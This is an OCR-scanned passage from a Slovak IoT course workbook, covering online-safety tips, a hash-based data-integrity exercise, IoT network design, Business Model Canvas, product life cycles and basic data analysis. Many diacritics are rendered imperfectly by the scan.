venovat maximalnu pozornost na vsetky interakcie v online svete. Toto je velmi doleZité, pretoze staci
iba jeden omyl, aby ste sa ohrozili pocitac¢ a data v nom ulozené.

Scitajte a skontrolujte svoje skore z testu.

e O Vase spravanie online je velmi bezpecné.

e 1-3: Vasespravanie online jecelkom bezpecné, ale stéle by ste mohli zmenit svoje spravanie,
aby ste boli Uplne v bezpedi.

e 4-17: Mate nebezpecné spravanie online a mate vysoké riziko ohrozenia.

e 18 Vase spravanie online Vas ohrozuje.

Nizsie je niekolko délezitych tipov na bezpecénost online.

1. Cim viac informdcii zdielate na socidlnych médiach, tym viac povolite Gto¢nikovi, aby o Vas vedel.
Utoénik moZe na zéklade tychto znalosti ovela cielenejsie a sofistikovanejsie Utocit. Napriklad
zdielanim informacii na socidlnej sieti o Ucasti na automobilovych pretekoch, Utoénik moze
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vyhotovit Skodlivy e-mail prichadzajuci od spoloc¢nosti pre predaj vstupeniek, na Vami vybranu
udalost. PretozZe ste prave navstivili tuto udalost, e-mail sa zda byt doéveryhodnejsi.

Opakované pouZivanie hesiel je zly postup. Ak rovnaké heslo pouZivate aj v inej online sluzbe,
utoénik, ktory Vam toto heslo ukradol, méze Uspesne ziskat pristup aj do inych sluzieb.

E-maily mozu byt lahko falSované, aby vyzerali ako legitimne. PrispGsobené e-maily casto
obsahuju odkazy na skodlivé stranky alebo malware. Vo vSeobecnosti sa neodporuca kliknat na
vloZzené odkazy prijaté prostrednictvom e-mailu. Odporuca sa manualne prepisanie odkazu alebo
jeho opatovné vyhladanie cez vyhladavac Google.

Neinstalujte Ziaden nevyZiadany softvér, najmad ak pochadza z webovej stranky. Je to velmi
nepravdepodobné, Zze webova stranka bude mat pre vas legitimnu aktualizaciu softvéru. Dérazne
sa odporuca zatvorit prehliadac a pouzivat nastroje operacného systému na kontrolu aktualizacii.

Skodlivé webové stranky sa daju lahko vytvorit tak, aby vyzerali ako stranka banky alebo finanénej
institucie. Pred kliknutim na odkazy alebo poskytnutim akychkolvek informacii dvakrat
skontrolujte adresu URL, Certifikaty a ich podpisy, aby ste sa uistili, Ze ide o spravnu webovu
stranku.

Ked povolite spustenie programu vo Vasom pocitaci, si¢asne mu pridelite oprdvnenia na pristup
k Udajom. Pred samotnou instalaciou aplikacie si overte zdroj odkial mate instalator, autora
aplikacie a aktualnost verzie. Vo vSeobecnosti plati, Ze ¢im novsia aplikacia, tym menej chyb by
mala obsahovat.

USB disky a externé datové Uloziskd je mozné infikovat Skodlivym softvérom. Preto sa neodporuca
do pocitaca pripajat nezname USB zariadenia.

Utocnici ¢asto vytvaraju falosné hotspoty Wi-Fi, aby naldkali uZivatelov. Pretoze Utoénik ma
pristup ku vsetkym informaciam, ktoré boli vymenené prostrednictvom kompromitovaného
hotspotu, su ohrozeni vSetci pouZivatelia pripojeni k tomuto hotspotu. Nikdy pouZivajte nezname
hotspoty Wi-Fi bez Sifrovania. Pre bezpecnu komunikaciu sa odporuca pripojenie prostrednictvom
siete VPN. Nikdy neposkytujte citlivé udaje, napriklad Cisla kreditnych kariet pri pouzivani
neznamej siete (drotovej alebo bezdrotovej).

Otazky a Ulohy na zamyslenie

1)
2)

Ako mobzete zvysit svoju bezpecnost v online svete?
Kde mézete ziskat informacie o bezpecnom spravani sa v online svete?
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Odporucané zdroje

[1] Online bezpeénost —

https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment data/file/30
9652/14-835-cyber-security-behavioural-insights.pdf

[2] 10 pravidiel bezpecnosti v online svete —

https://sunbytes.io/10-basic-cyber-security-rules-for-online-and-offline-behavior-of-staff/
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CVICENIE S24-CV1: Overenie Integrity dat

Kfdcové slova

integrita dat, Hash,

Vystup cvicenia

Overit integritu dat prostrednictvom hash funkcie.

Ziskané vedomosti a skusenosti

Absolvovanim cvic¢enia sa naudite:

B Overit, Ze Udaje neboli pozmenené.
B Spoznate rozdielnost hash funkcii.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomécky:

B OS Windows,
B pripojenie k internetu.
B textovy editor.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia nie su potrebné Ziadne Specialne znalosti.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Zadajte $tudentom pokyny pre vypracovanie Ulohy. Ulohu budid vypracovévat samostatne
metddou objavovania.

Teoreticky Uvod

Je dolezité byt schopny identifikovat, kedy boli Udaje poskodené alebo zdmerne upravené. Pre overenie
integrity dat mozno pouzit aplikacie na vypocet hashov. Tymto dokazeme overit, ¢i sa Udaje zmenili
alebo zostali rovnaké. Program dokaze vypocitat hash funkciu pre vstupné data alebo subor. Existuje
mnoho réznych hash funkcii. Niektoré su velmi jednoduché a niektoré velmi zlozité. Ked' sa vypocitava
rovnaky hash na rovnakych datach, vystup je vZdy rovnaky. Ak dojde k akejkolvek zmene Udajov, vratena
hodnota hash bude odlisna.
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E Podrobnosti o vstupoch a vystupoch ndjdete v kapitole 6.6, pripadne v odporucane;j literature,
= ktora je uvedena na konci tohto dokumentu.

S pEEEEEEEEEEERET

Zadanie cviCenia
Uloha 1:

Pouzite aplikaciu pre vypocet hash funkcie a overte integritu dat. Otvorte poznamkovy blok a napiste do
neho [ubovolny text a nasledne subor ulozte.

| Untitled - Notepad

File Edit Format View Help
Lubovolne dlhy text - kurz Internet Veci.|

Z internetu si stiahnite aplikaciu HashCLC, ktora je k dispozicii na stiahnutie na odkaze:
http://www.slavasoft.com/zip/hashcalc.zip

Po stiahnuti si aplikaciu nainstalujte. Nacitajte do aplikacie uloZeny subor a spustite funkciu vypoctu
hashu cez tlacidlo “calculate”.

|H| Hashcalc - X

Data Format: Data:
I File LI IC:'\U sershinnovates\Desktopihash.txt ‘J

Key Format: Key:
[~ HMAC I-T-::-:t sting ;ll

v MD5 |DecfafB?5eeea0ccf320d485d3c34852
[~ MD4 [
W SHA1 |3754927853cc 1 ecdf7aB1abb108e1b2d6433306
[~ SHa256 |
[~ SHazss |
I~ sHAS12 |
[V RIPEMD160 |8761ea304ad1 7cfdbe5d4117e6602384{0281 ced
I~ PANAMA |
[~ TIGER |
[~ MD2 [
I~ ADLER32 |
v CRC32  [B9e0d2f7

eDonkey/
r eMule I

{Calcuiate !

SlavaSoft

Close | Help |
4

Nasledne pozmente obsah suboru o 1 fubovolny znak a znova vypocitajte vysledok hash funkcie,
porovnajte ho s pévodnym vypoctom.
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Otazky a ulohy na zamyslenie

1) Pre¢o maju jednotlivé hash funkcie réznu dizku?
2) Ako je moziné ziskat znenie pévodného textu, ak pozname vystupnd hash hodnotu?

Odporucané zdroje

[1] Hash - https://en.wikipedia.org/wiki/Hash function

[2] Hash funkcie - https://en.wikipedia.org/wiki/List of hash functions

[3] Online hash calculator - https://www.pelock.com/products/hash-calculator
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CVICENIE S24-CV1: Vlastny loT koncept

Kfdéové slova

Internet veci, architektura siete, koncept, diagram
Vystup cvicenia

Navrhnut vlastnt jednoduch IoT siet. Vytvorit zodpovedajuci diagram. Pripravit si argumenty pre
konkrétne technické riesenie z réznych pohladov (rychlost, stabilita, bezpecnost, ekonomicka a
technicka nakladnost).

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naucite:

B navrhnit vlastnd jednoduch 10T siet,
B obhdjit navrhnuté technické rieSenie adekvatne doposial nadobudnutym znalostiam
a skusenostiam.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

internetové pripojenie,

softvér pre kreslenie diagramov,
aplikaciu Packet Tracer,

softvér pre tvorbu prezentdcii.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zakladné znalosti architektury sieti,
B znalosti prvkov a zariadeni pripajanych do loT sieti.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept ndvrhu architektury sieti.

3) Studenti budu rozdeleni do skupin, kde spolo¢nymi silami vytvoria navrh vlastnej loT siete.
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Teoreticky Uvod

loT Siete su zloZzené z mnohych roznych komponentov. V tejto aktivite si predstavime, ako by ste sa
pripojili cez internet k miestam, fludom alebo zariadeniam, s ktorymi komunikujete denne. V navrhu
budete pracovat na domacej alebo skolskej topoldgii, mozete vyvodit zavery o internete veci.

POZNAMKA!

Podrobnosti o sietiach Internetu veci najdete v kapitole 1.3 a kapitole 5, pripadne pod odkazmi,
ktoré su uvedené na konci tohto dokumentu.

Zadanie cvicenia

Nakreslite a oznacte prvky v mape internetu veci. Nasledne tuto mapu interpretujte. Vychadzajte
z dobre zndmeho prostredia - domova alebo skoly/univerzity.

Navrhnite prislusné kounikacné médium (kabelaz, WiFi), hardvérové vybavenie, zariadenia atd. Pre

.....

B zariadenia alebo snimace,

média (napr. kabelaz),

spojte adresy alebo nazvy,

zdroje a ciele,

poskytovatelia internetovych sluzieb.

MozZné rieSenia

'
Home Network
\ .
A = “\\\\\\\\\‘0
SmartPhone \\\\\\\ pp— .
= \) Lamp = Lamp Switch
= //// el
= 11,
adi teway II//I/ SBC1
s
‘\:\|-,.»_‘
I

Fan Switch

Ceiling Fan

Registration Server PC Gz

www.register.pka Coffee Pot Coffee Pot Switch
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alarm
IoE2-DO

Prezentacia

Po dokonceni navrhu uloZte svoju pracu vo formate pdf a vytvorte sprievodnu dokumentaciu vo forme
prezentacie. PouzZite ju na verejnu prezentdciu Vasej prace pred triedou.

Otazky a ulohy na zamyslenie

1)

2)

Ktory navrh, prezentovany v triede obsahoval unikatne zariadenia alebo snimace pripojené do
siete? Ktoré prvky a zariadenia sa opakovali naj¢astejsSie?

Aka je konkurencna, technicka alebo ekonomicka vyhoda Vasho névrhu v porovnani s ostatnymi,
ktoré boli prezentované v triede?

Odporucané zdroje

[1] Internet of Things - Architecture - https://en.wikipedia.org/wiki/Internet of things
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[2] Introduction to Packet Tracer —

https://www.netacad.com/courses/packet-tracer/introduction-packet-tracer
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CVICENIE S26-CV1: Canvas model — existujici produkt

Kfucoveé slova
model Canvas, trh, existujlci produkt, analyza konkurencie
Vystup cvicenia

Analyza existujuceho produktu alebo sluzby, poskytovanej konkurenc¢nou firmou, ktord uz pésobi na
trhu.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B vytvorit zjednoduSeny podnikatel'sky plan vizudlnou metédou,
B pripravit sa na dalSie iteracie podnikatelského planu,
B kriticky zhodnotit konkurenciu a existujlice produkty ¢i sluzby.

VyZadované technické pomocky
Pre Uspesnu realizaciu cvicenia nie su potrebné Ziadne technické pomaocky.
Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady kritického myslenia.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zdkladny koncept modelu Canvas.

3) Studentom vysvetlite zakladny koncept kritického myslenia.

4) Studenti budu pracovat samostatne a vytvarat model Canvas. Po jeho vytvoreni bude vysledok
kriticky zhodnoteny zvySkom triedy.

5) Studenti vytvoria malé skupiny o pocte 2-4 ¢lenov.

6) Zvolia si lubovolny trhovy segment.

7) Zvolia si poZadovany produkt alebo sluzbu.

8) Vytvoria Canvas model podla predlozenej Sablény pre existujuci produkt.
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Teoreticky Uvod
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= Podrobnosti o Canvas najdete v kapitole 7.

SppEEEEEEEER

Zadanie

Vytlacte si Sablénu modelu. Pocas nasledujtcich 45-60 minut vytvorte Canvas model pre existujuci
produkt alebo sluzbu, ktoré uz na trhu existuju, pre zvolent firmu z konkrétneho odvetvia. Vyplite
formular na zédklade dostupnych informacii.

Partnerstva | KI'uCové aktivity | Pridana hodnota | Konkurenc¢na vyhoda | Zakaznici

Klacové zdroje Distribuc¢ny kanal

Naklady Pefiazné toky

Pre jednotlivé ¢asti odpovedzte na nasledujuice otazky:
Zakaznici

Pre koho bol produkt vytvoreny?
Kto su najdodlezitejsi zakaznici?
Ako vyzera modelovy zakaznik?
Kto za produkt plati?

Kto produkt pouziva?

372



Problém

m  Co je hlavnym problémom, s ktorym zakaznik bojuje?

B Akd praca alebo sluzba je doddvana pre zakaznika?

®  AkU potrebu produkt alebo sluzba napliia?
Partnerstva

B Ktoré partnerstva su pre zvolenu firmu rozhodujlce?

®m  Kto su ich kriticki dodavatelia (aké komponenty mu dodavaju)?

B  Zaakym ucelom je firma v partnerstve s inymi firmami?
Distribuény kanal

B Prostrednictvom akych distribuénych kanalov rozsiruje firma povedomie o svojej znacke,
produktoch?

Ako umoznuje firma objednat svoje produkty?

Ako umoznuje firma dorudit svoje produkty?

Aku podporu poskytuje firma svojim zakaznikom pre zakupené produkty?

Ako moze firma merat efektivnost jednotlivych distribu¢nych kanalov?

Penazny tok

Aké vyhody a vlastnosti produktu neodradi zdkaznikov zaplatit viac?
Za aké vyhody momentalne zakaznici platia?

Aku sumu teraz platia za tieto vyhody?

Aky spbsob platby by bol pre zakaznikov vhodnejsi?

Aké percento celkovych prijmov predstavuje kazdy prijmovy tok?

Prezentdcia

B Prezentujte vytvoreny modelu. Skupina by mala spolo¢nym uvazovanim podrobit vystupny
model kritickej analyze (metddy kritického myslenia).

Otazky a ulohy na zamyslenie

1) Ako je mozné vybudovat konkurenénd vyhodu firmy s pomocou Canvas modelu?
2) Akym spbésobom je moziné chranit jednotlivé casti Canvas modelu pred kopirovanim
konkurenciou?

Odporucané zdroje

[1] Model Canvas - https://en.wikipedia.org/wiki/Business Model Canvas

[2] 48 Critical Thinking Questions For Any Content Area —

https://www.teachthought.com/critical-thinking/48-critical-thinking-questions-any-content-area/
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CVICENIE S27-CV1: Canvas model — novy produkt

Kfdcové slova

model Canvas, trh, existujlci produkt, analyza konkurencie
Vystup cvicenia

Navrh modelu pre novy produkt alebo sluzbu.

Ziskané vedomosti a skusenosti

Absolvovanim cvic¢enia sa naudite:

B vytvorit zjednoduSeny podnikatel'sky plan vizudlnou metédou,
B pripravit sa na dalSie iteracie podnikatelského planu,
B kriticky zhodnotit konkurenciu a existujlice produkty ¢i sluzby.

VyZadované technické pomocky
Pre Uspesnu realizaciu cvicenia nie su potrebné Ziadne technické pomaocky.
Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady kritického myslenia.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zdkladny koncept modelu Canvas.

3) Studentom vysvetlite zakladny koncept kritického myslenia.

4) Studenti vytvoria malé skupiny o pocte 2-4 ¢lenov.

5) Zvolia si lubovolny trhovy segment.

6) Zvolia si poZadovany produkt alebo sluzbu.

7) Vytvoria Canvas model podla predloZenej Sablény pre existujuci produkt.

Teoreticky Uvod

Canvas model patri medzi vizualne metddy, ktoré dokazu vyrazne zjednodusit a urychlit vyvoj
podnikatelského planu. Druhym cvi¢enim je navrh vlastného nového produktu a sluzby.
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= POZNAMKA!
‘IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

Podrobnosti o Canvas modeli ndjdete v kapitole 7.

[]
SppeeEerEEEEET

Zadanie

Vytlacte si Sablénu modelu. Pocas nasledujucich 45-60 minut vytvorte Canvas model pre novy produkt
alebo sluzbu, ktoru chcete zaviest na trh ako sucast Vasho podnikania vo Vami zvolenom odvetvi.
Vyplnte formular na zaklade dostupnych informacii.

Partnerstva | KI'uCové aktivity | Pridana hodnota | Konkuren¢na vyhoda | Zakaznici

Klacové zdroje Distribu¢ny kanal

Naklady Pefiazné toky

Pre jednotlivé ¢asti odpovedzte na nasledujuce otazky:

Zakaznici

Pre koho vytvarame produkt?

Kto st najdélezitejsi zakaznici?

Ako vyzera nas modelovy zakaznik?
Kto za produkt zaplati?

Kto bude produkt pouzivat?

Problém
m  Co je hlavnym problémom, s ktorym zékaznik bojuje?
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B Aka préca alebo sluzba bude dodana pre zakaznika?
® Ak zakaznicku potrebu novy produkt alebo sluzba napltia?

Distribucny kanal

Prostrednictvom akych distribu¢nych kanalov bude Sirené povedomie o novej znacke, produkte?
Ako budu zakaznici objednavat produkty?

Ako budu dorucené objednané produkty?

Akl podporu budeme poskytovat svojim zakaznikom po zakupeni produktu?

Ako mbzeme merat efektivnost jednotlivych distribuénych kandlov?

Penainy tok

Aké vyhody a vlastnosti produktu presvedcia zakaznikov zaplatit ?
Za aké vyhody by mali zakaznici platit?

Aka suma za tieto vyhody by mala byt uctovana?

Aky spbsob platby by bol najvyhodnejsi?

Aké percento celkovych prijmov predstavuje tento prijmovy tok?

Prezentdcia

Prezentujte vytvoreny model. Skupina by mala spolo¢nym uvazovanim podrobit vystupny model kritickej
analyze (metddy kritického myslenia).

Otazky a ulohy na zamyslenie

1) Ako je mozné vybudovat konkurenénd vyhodu firmy s pomocou Canvas modelu?
2) Akym spbésobom je moziné chranit jednotlivé casti Canvas modelu pred kopirovanim
konkurenciou?

Odporucané zdroje

[1] Model Canvas - https://en.wikipedia.org/wiki/Business Model Canvas

[2] 48 Critical Thinking Questions For Any Content Area -

https://www.teachthought.com/critical-thinking/48-critical-thinking-questions-any-content-area/
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CVICENIE S28-CV1: Produkt a trh

Kfucoveé slova
vertikalny a horizontalny trh, Zivotny cyklus, fazy vyvoja produktu
Vystup cvicenia

Identifikovat rézne typy trhu a ich potencial. Poznat jednotlivé fazy vyvoja produktu a navaznost medzi
nimi. Schopnost aplikovat model na existujice produkty.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B kategorizovat jednotlivé produkty a sluzby podla typu trhu,
B vytvorit model vyvoja produktu, identifikovat jeho fazy a navrhnut kroky potrebné pre Uspesne
zvladnutie fazy vyvoja.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

B textovy a vizualny editor.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B kritické myslenie.
Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zaklady Zivotného cyklu jednotlivych fyzickych produktov.

3) V spolupraci so studentmi si vypracujte otazky uvedené v dalsom texte.

4) Doplriujuce otazky budu studenti vypracovavat samostatne.

5) V spolupraci so Studentmi prepocitajte nizsie uvedené cvicenia.
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Teoreticky Uvod

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII;

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

POZNAMKA!

= Podrobnosti o produktoch a trhoch najdete v kapitola 7.3, pripadne Cisco kurze NetAcad -

Connecting Things v kapitole 5.2.1..

Doplnujuce informacie ziskate v zdrojoch uvedenych na konci tohto dokumentu..

Realizacia cvicenia
Uloha 1

Klasifikujte trhy na vertikalne a horizontalne:

I EEEEEEEEEEEEESN

Produkt

Typ trhu

Vysvetlenie

Systém riadenia energie, ktory automaticky nastavi
izbovu teplotu na zéklade vzorov pouZivania
miestnosti.

Mikroprocesory, ktoré vysielaju informacie lekarovi
0 pouziti liekov.

Elektronické snimace na Zelezni¢nych tratiach, ktoré
prendasaju informacie do operacného strediska o
podmienkach kolaji a rychlosti kolajovych vozidiel.

Vodné postrekovace, ktoré prisposobuju rezim
postreku podla teploty, sine¢ného svetla a aktudlnej
vlihkosti pody.

Snimace zapustené do vozoviek pre optimalizaciu
nastavenia ¢asov semaforov s ohfadom na aktualnu
premavku.

Systém expedicie potravin, ktory sleduje pohyb,
vibracie a Cas expozicie svetla.

Systém senzorov, ktoré sleduju rychlost a
umiestnenie vsetkych hracov pocas Sportovej
udalosti.

Systém sledovania zasob v obchode s potravinami,
ktory poskytuje aktualizacie v redlnom case
nakupujucich, zamestnancov a predajcov.
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Uloha 2

Nakreslite detailny diagram faz Zivotného cyklu produktu a popiSte operdacie, ktoré sa vykonavaju
v jednotlivych fazach.

Vyskum Prieskum

Vyvoj Koncept

Vyvoj Navrh stylu

Sériova vyroba Dizajn produktu

Sériova vyroba Kalkulacia

Sériova vyroba Prototyp a testovanie

Produkcia Vyroba

Produkcia Skladanie

Nasadenie na trhu Distribucia

Nasadenie na trhu Predaj a pouZivanie

Ukoncenie cyklu Likvidacia a recyklacia
Uloha 3

Aké typy ndvrhov sa vytvaraju pocas vyvojového cyklu? Co je Géelom jednotlivych navrhov?

Specifikacia poziadaviek Definicia a popis poZzadovanych vlastnosti produktu
Definicia poZiadaviek a cielovych parametrov

Funkény navrh Navrh funkcionality
Navrh hlavnych a vedlajsich funkcii
Popis konfiguracie a sposobov interakcie

Fyzicky navrh Navrh struktdry a materiadlov
Mechanické parametre, vypocty a testovanie

Navrh findlneho produktu Navrh produktu, jeho rozmerov
Vyber materidlov
Vypocty a optimalizacia pre vyrobu

Navrh vyrobného postupu Navrh vyrobného postupu
Navrh montazneho postupu
Produktova dokumentacia

Optimalizacia vyrobného procesu
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Otazky a ulohy na zamyslenie

1. Pre ulohy 2 a3 si vyberte konkrétny produkt a vypracujte si jednotlivé kroky podla predlozenych
tabuliek.

Odporucané zdroje
[1] Product life-cycle management (marketing) —

https://en.wikipedia.org/wiki/Product life-cycle management (marketing)

[2] Data Management for Engineering Applications —

http://www.dbse.ovgu.de/dbse/en/Teaching/Data+Management+for+Engineering+Applications.html

[3] loT Industries and Markets — CCNA Connecting Things cap. 5.2.1
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CVICENIE S29-CV1: Z4klady datovej analyzy

Kfd¢ové slova
analyza dat, excel, tabulky, graf, vizualizacia dat, interpolacia, extrapoldcie, linedrny model
Vystup cvicenia

Pouzitie zakladnych metdd na opis existujucich udajov, zakladné vizualizacie udajov a jednoduché
predpovede.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Analyzovat Gdaje a ziskavat informacie.
B Vykonavat zakladne vizualizacie dat.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomécky:

zariadenie s pristupom k internetu,

moznost prezerat audio-vizualny obsah,
tabulkovy editor,

vytlacené prilohy (pracovné listy) z tohto cvicenia.

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady statistiky,
B zaklady prace s tabulkovym editorom.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuzitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zdklady modelov, interpolécie a extrapolacie.

3) Studentov informujte o moznostiach online vzdeldvania cez Khan Academy.

4) Studenti budu pracovat samostatne a vytvarat prvé analytické vystupy.

Teoreticky Uvod

Data s samy o sebe bezvyznamné. Musime z nich vytvorit informacie. Tieto informécie st uzito¢né, ak
su zasadené do kontextu na zodpovedanie konkrétnych otazok. V tomto cviceni pouzijete grafy
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existujucich udajov na odhadnutie chybajucich hodnét a na predpovedanie hodn6t zaloZzenych na
trendoch, ktoré sa v datach objavuju.

Analyza Udajov sa mdze realizovat mnohymi ré6znymi spdsobmi. Kone¢nym cielom je objavit nie¢o nové
v Udajoch, ktoré poskytuju prehlad o tom, ¢o sa stalo, alebo poskytuji moznost predpovedat, ¢o sa
moze stat v budlcnosti. Vo vSeobecnosti si mozné dva hlavné pristupy:

Popisna statistika - sumarizuje, ¢o sa stalo, a poskytuje Udaje Ciselnym alebo grafickym spésobom.

Prediktivna analyza - odpoveda na otazku, ¢o sa moze v budicnosti vyskytnut na zaklade udajov z
minulosti.

= POZNAMKA!
LA R RRE R R RRERERRRRRERRRERERRRRERRRRRRRRRERRERERRERERRRERERRRERERRRERERRERERRERERNN]

= Zakladné informacie o datovej analytike najdete v kapitole 7.6., alebo na konci tohto
dokumentu.

[ R RRRENERERNRENRI

Akadémia Khan je vynikajucim zdrojom informacii pre Siroku Skalu tém, ako napriklad Statistika. Pre
Ucely tohto cvicenia si pozrite kratke video. Ziskané poznatky aplikujte v Ulohach, ktoré su obsiahnuté v
tomto cviceni.

Prejdite na adresu: https://youtu.be/aVDIAGZmcPo

Sledujte celé video. Budete pracovat iba s prvou mnozinou Udajov, ktoré
instruktor diskutuje v tomto videu. Zamerajte sa na to, ako pouzivat datové body ako informacie na
vytvorenie novych odhadovanych datovych bodov.

V rdmci internetu veci sa prindsa velké mnozstvo Udajov z mnohych zdrojov. Niekedy chybaju hodnoty,
pretoze snimac docasne stratil pripojenie alebo doslo k strate datovych bodov
v prenose. Interpolacia méze sluzit ako jedna stratégia nahradzania chybajicich udajov

Extrap sa pouziva na predpovedanie hodn6t udalosti, ktoré sa este nevyskytli. PretoZe loT prinasa tolko
dat, m6zu byt postavené prediktivne analytické modely, ktoré spolahlivo vidia do budicnosti
extrapolaciou trendov z historickych tdajov.

Realizacia cvicenia
Uloha 1

Prezrite si Udaje zobrazené v tabulka 1. Poc¢as 110-ro¢ného obdobia pre subor Udajov, aky je rozsah
(dolna a horna hranica) stredného veku pre muzov a Zeny pri prvom sobasi?

Stredny vek muza: ____az

Zijuci stredny vek: aZ
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Uloha 2

Rozsah je typ popisnej Statistiky, ktora sumarizuje Udaje. V predchadzajucej ulohe boli informacie
uvedené v ¢iselnom formate. Ak sa vSak musite pozriet na trend dat, moze byt lepsie grafovat alebo
vykreslit Udaje. Zakreslite Gdaje z tabulky 1 do grafu.

Median veku

30

25

20

15

10

1890

1910

1930

1950
Rok
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Vek M Vvek Z

Rok (median) (median)
1890 26.1 22.0
1900 25.9 219
1910 Lol 21.6
1920 24.6 21.2
1930 24.3 213
1940 24.3 21.5
1950 22.8 20.3
1960 22.8 20.3
1970 23.2 20.8
1980 24.7 22.0
1990 26.1 23.9

2000 26.8 25.1
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Uloha 3

Niektoré spolocenské trendy nam mozu robit jednoduchy linedrny model. V tejto Ulohe budete
interpolovat a extrapolovat hodnoty z novej mnoziny Gdajov. Na konci cvienia zakreslite Udaje do grafu.
PouZite rozne farby pre dve r6zne premenné.

Upozornujeme, Ze Udaje, ktoré su zobrazené v tabulke nizSie boli zhromaZzdené v réznych casovych
intervaloch. Pred rokom 2000 sa Udaje zhromazdovali kazdych desat rokov, po roku 2000 sa vsak
zhromazdovali kazdych 5 rokov.

Hodin dom. |Hodin dom. Pracovné
Rok prac/tyZden | prac/tyiden hodiny

(muii) (zeny) (Zena - muz)

1965 4.4 319

1975 6 23.6

1985 10.2 20.7

1995 10.2 18.9

2000 10 18.6

2005 9.2 19.1

2010 10 17.4

2015 9.8 17.8

Na zaklade tabulky Udajov vyssie hodnoty interpolujte za tri chybajice roky. Extrapolujte hodnoty pre
rok 2020 vytvorenim riadku, ktory najlepsie sumarizuje hodnoty za poslednych pat obdobi.

1970

1980

1990

Dal$im druhom informdcii, ktoré je moiné ziskat z tychto Udajov, je rozdiel medzi poétom hodin prace v
domadcnostiach pre muzov a po¢tom hodin domacich prac pre Zeny. V tomto obdobi sa prejavi dalsi trend
tykajlci sa rovnosti medzi muzmi a Zenami. Vyplnte nizsie uvedenu tabulku vyplnenim toho Casu, pocas
ktorého Zeny vykonavaju pracu v domacnosti, odpocitanim ¢asu, ktory muzi robia v domacnosti.
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Zakreslite vizualizaciu grafu.

35
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25

20

15

10

1960 1970 1980 1990 2000 2010 2020

Otazky a ulohy na zamyslenie
1) Co je linedrny model?
2) Co jeinterpolacia a extrapoldcia?
3) Co st to trendy v $tatistike?

Odporucané zdroje

[1] Linedrny model - https://en.wikipedia.org/wiki/Linear model

[2] Interpolacia - https://cs.wikipedia.org/wiki/Interpolace

[3] Extrapolacia - http://homel.vsb.cz/~hom50/SLBSTATS/IER/GS03.HTM
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CVICENIE S30-CV1: Datova analyza internetového pripojenia

Kfdéové slova

testovanie rychlosti pripojenia, download, upload, ping, CSV, Python Pandas
Vystup cvicenia

Vytvorit skript v jazyku Python, ktory otestuje rychlost internetovéh pripojenia (download, upload) a
Udaje zobrazi v strukturovanej tabulke.

Ziskané vedomosti a skusenosti

Absolvovanim cvicenia sa naudite:

B Vytvorit skript pre otestovania rychlosti internetového pripojenia.
B Udaje zozberiat a vytvorit jednoducht tabulku s vysledkami.

VyZadované technické pomocky

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto pomédcky:

Python 3 a kniZnice datetime, csv, subprocess, pandas, numpy,
Raspberry P,

internetové pripojenie,

tabulkovy editor (napr. Excel),

textovy editor (alebo iné IDE).

Prerekvizity znalosti

Pre Uspesnu realizaciu cvicenia budete potrebovat tieto znalosti:

B zaklady prace s operacnym systémom.
B znalosti pristupov diagnostiky sieti.

B znalost skriptovania v jazyku Python,
B znalost prace s prikazovym riadkom.

Odporuacany priebeh vyucby

Cvicenie odporucame realizovat nasledujdcim postupom:

1) Obijasnit studentom, aky koncept sa bude pocas cvicenia preberat, aké je jeho vyuZitie a dblezitost
Vv praxi.

2) Studentom vysvetlite zakladny koncept diagnostiky sieti.

3) Vysvetlite zdkladny koncept zachytavanie vstupov a odosielania vystupov aplikacii do suboru.
Vysvetlite Struktiru CSV suborov.

4) V spolupraci so studentmi vypracujte nasledujtce ulohy.
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5) V prvej faze budu zbierané data.
6) Druha faza bude venovana praci s datami.

Teoreticky Uvod

